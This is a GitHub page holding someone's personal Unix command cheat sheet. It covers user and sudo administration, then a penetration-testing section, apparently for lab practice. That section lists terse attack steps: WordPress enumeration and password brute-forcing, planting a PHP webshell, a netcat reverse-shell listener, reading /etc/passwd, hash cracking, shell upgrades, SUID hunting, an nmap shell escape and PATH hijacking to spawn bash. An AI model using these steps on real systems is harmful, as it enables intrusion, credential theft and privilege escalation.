unix/users at master · frendo/unix · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#users
passwd
sudo passwd <user>
sudo passwd <user> -d
sudo adduser <user>
sudo visudo
<user> ALL=(ALL:ALL) ALL
<user>   ALL = NOPASSWD: ALL
update-alternatives --set editor /usr/bin/vim

sudo userdel -r <user>

/etc/sudoers usermod visudo

windows:
netsh wlan show profiles
netsh wlan show profile <ssid>

vim to clipboard:
V
:w !pbcopy
:%w !pbcopy

pentest:
install uniscan
uniscan -h
uniscan -u <url/> -qweds
wget ...
file <name>

wc -w
sort -u > file.txt

wordpress

update:
cd wpscan

ruby wpscan.rb --update
find . -type f -name 'wpscan.rb'
wpscan --help

plugins
ruby wpscan.rb --url http://yourwebsite.com --enumerate vp
themes
ruby wpscan.rb --url http://yourwebsite.com --enumerate vt
users
ruby wpscan.rb --url http://yourwebsite.com --enumerate u --proxy_host <ip> --proxy_port port

ruby wpscan.rb --url http://yourwebsite.com --wordlist passwords.txt threads 50 --username <>

webshells
apt install webshells
update ip and add port
wp theme update php

nc -lvnp <port>

find users:
cd /etc
cat passwd

cd /home/<user>

hash-identifier
apt install hash-identifier
hash-identifier <hash>

hashcat
apt install hashcat

hashcat -a 0 -m 0 <hash file> <wordlist file>

python -c 'import pty; pty.spawn("/bin/sh")'

su <name>
password:

set of user id with perm 4000
find / -user <name> -perm -4000

nmap --interactive
!sh

netdiscover
apt install netdiscover

echo 2323 | base64 --decode

nikto
apt install nikto
nikto -host <ip> -useproxy <ip>

cewl password from website
apt install cewl
cewl --proxy_host <ip> --proxy_port port url -w filename

burp suite

dirb webscanner
apt install dirb

ftp

open <ip> <port>
mget

strings - search binary file for strings

echo $PATH
export PATH=/<>:.....

echo '/bin/bash' > /tmp/cat
chmod +x /tmp/cat